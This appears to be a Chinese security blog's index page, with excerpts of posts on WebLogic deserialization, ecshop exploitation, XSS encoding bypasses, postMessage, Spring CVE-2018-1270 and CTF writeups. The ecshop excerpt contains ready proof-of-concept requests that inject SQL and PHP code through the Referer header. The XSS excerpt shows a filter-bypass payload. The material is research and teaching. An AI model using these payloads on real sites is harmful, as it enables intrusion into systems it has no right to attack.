身世酒杯中,万事皆空。

前言

学习Java反序列化进程已经拖了很久了,这次推掉一些工作上的事情,抽出一周时间专心搞一下WebLogic反序列化。从老洞到新洞,整体学习一下。

CVE-2017-3506 & CVE-2017-10271

环境搭建

先简单点,用现成的vulhub。下载下来docker-compose.yml,然后docker-compose up -d就行了。
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271
经过实践,使用Docker并不是很简单,前前后后居然花了我一天的时间。
因为后边需要启动WebLogic的调试功能,需要开启一个远程调试的端口,所以需要改动一下docker-compose.yml开放8453端口。**在最后一行添加- "8453:8453"**。然后再docker-compose up -d

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"

Docker搭建完成后,docker exec -it container /bin/bash进入Docker,修改以下路径的文件,找到以下代码段,添加标出代码。开启debug模式。

/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

运行一下setDomainEnv.sh脚本。在这个Docker中,WebLogic进程的PID为1,杀不掉,故重启container。netstat -anp看看是否开启了8453端口。
因为要远程调试WebLogic,而WebLogic是没有源码的,所以需要把依赖的包给拷出来。
docker cp weblogic:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars

ps: 这部分jar包不全,还需要将Docker中,/root/Oracle/Middleware/modules给拷出来

Read More

如何从SQLi到RCE – ecshope 2/3.x Getshell

分为两个个部分:

  1. ecshop 2.x getshell
  2. Bypass ecshop 3.x WAF

Exploit

ecshop 2.x

SQLi POC

1
2
3
4
5
6
7
8
9
10
11
GET /user.php?act=login HTTP/1.1
Host: test1.ecshop.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:68:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)";s:2:"id";i:1;}
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: close
Upgrade-Insecure-Requests: 1

RCE POC

1
2
3
4
5
6
7
8
9
10
GET /user.php?act=login HTTP/1.1
Host: test1.ecshop.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:84:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x7b24275d3b706870696e666f2f2a2a2f28292f2f7d,0";s:2:"id";s:3:"'/*";}554fcae493e564ee0dc75bdf2ebf94ca
Connection: close
Upgrade-Insecure-Requests: 1

Read More

说点废话

  挖洞的时候一直搞不明白编码的问题,抽了一晚上时间好好看了看,解决了不少心中的疑惑,感觉又变强了一点点。
  在辅助挖掘XSS的工具中总是能够见到编码转换的功能,原来根本不知道咋用。乱用一通,有的时候也能撞上一些,但是太看人品的漏洞挖的心里很没底。
  现在主要是用两个chrome插件,一个是360 keeteem的xss插件。

https://chrome.google.com/webstore/detail/xsssniper/pnhekakhikkhloodcedfcmfpjddcagpi?hl=en-US

  另外一个是从wooyun drops上下载的XSS编码转换插件。
  链接: https://pan.baidu.com/s/1yqYhcwUL3-GqCgeWMRm4Vg 密码: qv5e
  百度云的头像被黑产给改了,所以看起来比较奇怪,目前还没找到怎么改的。

浏览器自解码机制

  浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、CSS解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。
浏览器解析过程简图
  从图中可以看出浏览器主要做了三部分的工作。
  1. HTML/SVG/XHTML 解析。解析这三种文件会产生一个DOM Tree。
  2. CSS 解析,解析CSS会产生CSS规则树。
  3. Javascript 解析。(暂时讨论JavaScript动态操作DOM Tree)。
  4. URL解析。(这一步的先后顺序不一定,看语境)

  众所周知,计算机是通过二进制流的方式进行通信的。对于浏览器与服务器的通信,可以简单的理解为服务器给浏览器返回了一长串字符串。浏览器需要识别这一长串字符串中哪些是文本字符(浏览器不需要解析,只需要显示出来),哪些是控制字符(对于HTML来说就是能够被解析为DOM Tree的字符)。作为攻击者,尽可能将用户输入的值让浏览器识别为控制字符,这样就可以造成反射XSS。

  举个例子吧,比如一个意见反馈处,输入一个<img/src=1 onerror=alert(1)>而服务器过滤了(),所以输出给浏览器的值是<img/src=1 onerror=alert1>
  开发者心里想:“我过滤了括号,你没有办法执行函数啦看你怎么办”。
  所以我们可以猜出来后台大概是这么写的:

1
2
str_replace("(","",$request_value);
str_replace(")","",$request_value);

  这个时候我们可以将()替换为&#40;&#41;,所以$request_value == "<img/src=1 onerror=alert&#40;1&#41;>",服务器一看,OK,没什么问题,于是就写入到数据库中。所以服务器给浏览器返回的同样也是<img/src=1 onerror=alert&#40;1&#41;>,但是浏览器认识&#40;&#41;呀,就会自动转换为<img/src=1 onerror=alert(1)>。所以服务器根本就不认识&#40;&#41;,也不会进行解码,解码的过程是浏览器完成的。(真实案例)

Read More

说点废话

近期深刻认识到自己能力不足,水平有限,必须沉下心来进行学习和研究,否则一辈子除了搬砖什么都做不了。
postMessage是为了解决跨窗口跨域的情况,使用不当会存在一些安全问题(虽然我没挖到Orz)。

postMessage是什么

Syntax

1
targetWindow.postMessage(message, targetOrigin, [transfer]);

不造轮子了,mdn上说的比较清楚了。

https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

当然了,发送消息是不行的,目标窗口肯定需要接受这个消息,所以需要在targetWindow添加一个Message的监听器。

1
2
3
4
window.addEventListener('message',function(event){
//event.data就是接收到的数据
console.log(event.data);
})

这个MessageEvent除了data属性还有source属性和origin属性是比较常见的。source属性就是发送消息的窗口的window对象,origin属性顾名思义就是发送消息的源。

Read More

写给0基础的CVE-2018-1270分析

写在前面

自己的一些分析,比较粗浅,Spring好复杂,可能有很多错误,多多交流。文章比较长,建议使用电脑阅读。
由于利用环境比较特殊,所以基础知识的铺垫特别的多,熟悉Spring的同学可以直接跳到分析。

这个漏洞简单的说就是selector的值没有进行过滤就带进了SpEL表达式,同时SpEL表达式的权限比较高,可以执行任意命令。

基础知识

首先我们需要了解一下什么是Spring。

Spring

简单的说,Spring是一个Java开源框架,一般指的是Spring Framework。但是Spring Framework的配置非常繁琐,所以在此基础上,Spring Boot诞生了,既拥有Spring Framework各种特性,又简化了各种配置。这次漏洞发生在Spring Framework中,所以Spring Boot也会受到影响。

首先,我们需要知道如何使用Spring。我们只需要在我们的包管理工具中把它引入就可以了(比如Maven的pom.xml)。

图为maven的pom.xml
maven pom.xml

Read More
post @ 2018-03-26

#shiyanbar-ALL-writeup(1)

最近搞一波ctf,巩固一下基础,搞一些原来没有注意到的点。

简单的登录题

遍历一下ascii 0-255 发现过滤了# , - = \ ~, 没有过滤'扔一个进去,回显hello,再回到index的时候显示报错信息,考虑报错注入。说明记录了每次输入的数据,然后通过cookie回显回来。同样可以说明cookie中包含了payload(这点我没想到,第一是对密码学不熟悉,第二真实环境这样用的概率不大,但是想一想也是有可能的,毕竟内存里做加密与解密比读写sql IO要快的多)

test.php爆出了源码,逻辑挺简单的,感觉思路就是利用cookie绕waf,只要控制set-cookie,就可以随意输入了。但是不知道private key。这有点蛋疼。

所以接下来的思路就是刚密码学了,我觉得这个题出的很不好。。。web偏弄密码学,纯粹为了出题而出题。。。

google:attack aes-128-cbc and you will get CBC Byte Flipping Attack

http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/#gref


以下是我对 CBC Byte Flipping Attack 的一点点理解

Encryption

Read More

hctf babycrack writeup – 第一次做js的逆向

菜鸡写的超详细writeup
emmm…..
原来也没接触过js逆向 这也是第一次做 比较菜 大佬勿喷…
ps:写的比较乱 参考的时候先搜索原本函数 然后再进行变形
我这里是通过chrome的debug去打断点分析和terminal对变量做一些操作去推测并验证
把分析出来的已知函数用起个名然后全局替换

一块块拆出来吧 以下顺序为函数调用顺序

1
2
3
4
5
6
7
8
(function(_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function(_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(_0x180a, 0x1a2));

优化一下

1
2
3
4
5
6
7
8
(function(function_stack, param2) {
var push_shift = function(param) {
while (--param) {
function_stack['push'](function_stack['shift']());
}
};
push_shift(++param2);
}(function_stack, 0x1a2));


由此可以看出,通过array_name['function_name']()可以调用数组的自带方法,等价于array_name.function_name()
这里function_stack.push(function_stack.shift()) 0x1a2次
刚开始感觉这里没啥用 其实是把array的第一个元素给放到最后一个 一共做了0x1a2次
最后这个数组长这个样

1
2
3
4
window['onload'] = function() {
setInterval(_0xa180('0x38'), 0x32);
test();
};

给_0xa180起个名叫exec_function,去上面看看这个函数干啥了

1
2
3
4
5
var _0xa180 = function(_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = function_stack[_0x5c351c];
return _0x26f3b3;
};
Read More

Introduction

最近冥冥之中总跟wordpress进行接触.那天在在一个blog里看到一篇密码保护的文章,开始还以为是个题目,后来发现是Wordpress自带的功能,就大概看了一眼,发现这个密码保护功能还是蛮有意思的.

Content

刚开始一抓包,发现这个form表单发给wp-login.php?action=postpass

Jietu20171114-152829

返回回来一个302
wp-loginaction=postpass做了如下操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
switch ($action) {

case 'postpass' :
if ( ! array_key_exists( 'post_password', $_POST ) ) {
wp_safe_redirect( wp_get_referer() );
exit();
}

require_once ABSPATH . WPINC . '/class-phpass.php';
$hasher = new PasswordHash( 8, true );

/**
* Filters the life span of the post password cookie.
*
* By default, the cookie expires 10 days from creation. To turn this
* into a session cookie, return 0.
*
* @since 3.7.0
*
* @param int $expires The expiry time, as passed to setcookie().
*/
$expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );
$referer = wp_get_referer();
if ( $referer ) {
$secure = ( 'https' === parse_url( $referer, PHP_URL_SCHEME ) );
} else {
$secure = false;
}
setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );

wp_safe_redirect( wp_get_referer() );

exit();

看完这很疑惑啊,wordpress没有对post过来的密码做任何的验证啊,只不过把它unslash了一下,做了hash写到cookie里了!
后来仔细一想,wordpress这里返回一个302,只要wordpress检验cookie是否有效是不是就可以判断用户输入的密码是否正确的.

Wordpress在这里接受密码后计算hash后写到cookie里其实是非常高明的一手

  1. 这里输入密码没有验证码,我在这里第一反应是可以爆破,结果发现不过结果正确与否,返回的302除了set-cookiewp-postpass_COOKIEHASHwp-postpass_COOKIEHASHvalue不同外,其他内容都一样,所以基本无法爆破.
  2. 我们输入的参数不带到sql语句中进行查询,有效抵抗sql注入
  3. 只要cookie生成的算法足够强大,这里基本不可能碰撞出来,经过验证,Wordpress的这个算法真的很强大…….
Read More
post @ 2017-11-11

Introduction

在这个漏洞上浪费了很多时间 这个漏洞发生在一段前后不接的代码上 无法触发 利用困难 但是构造很精巧
偶然在seebug上看见了一篇讲wordpress安全架构的文章 在后面引用了这个漏洞 翻了翻网上的文章 感觉与我所遇到的情况有一点区别
简单的来说就是$wpdb->prepare()这个底层数据库的函数在特殊的情况处理上出了问题

Environment

由于本人是个菜鸡 所以代码审计的时候还是比较喜欢在ide中跑起来 打断点去debug 所以这里用 phpstorm + Xdebug 本地环境用的MAMP PRO

关于phpstorm + Xdebug环境怎么配

https://www.cnblogs.com/xujian2016/p/5548921.html

Content

下面是这个漏洞的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
   $post_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type='attachment' AND post_status = 'trash'" );

$post_ids => $post_id_del

wp_delete_attachment( $post_id_del )
// wp_delete_attachment( $post_id, $force_delete = false )
$post_id_del => $post_id

$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) )

delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
//delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false);

$meta_key=> '_thumbnail_id'
$post_id => $meta_value

if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}

$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}

##在这里我主要说说我的疑问

Read More
post @ 2017-10-01

这个blog来来回回折腾了大约一个礼拜
终于弄的看的顺心一点了
希望不要再有变动了
心态崩了;

Read More
⬆︎TOP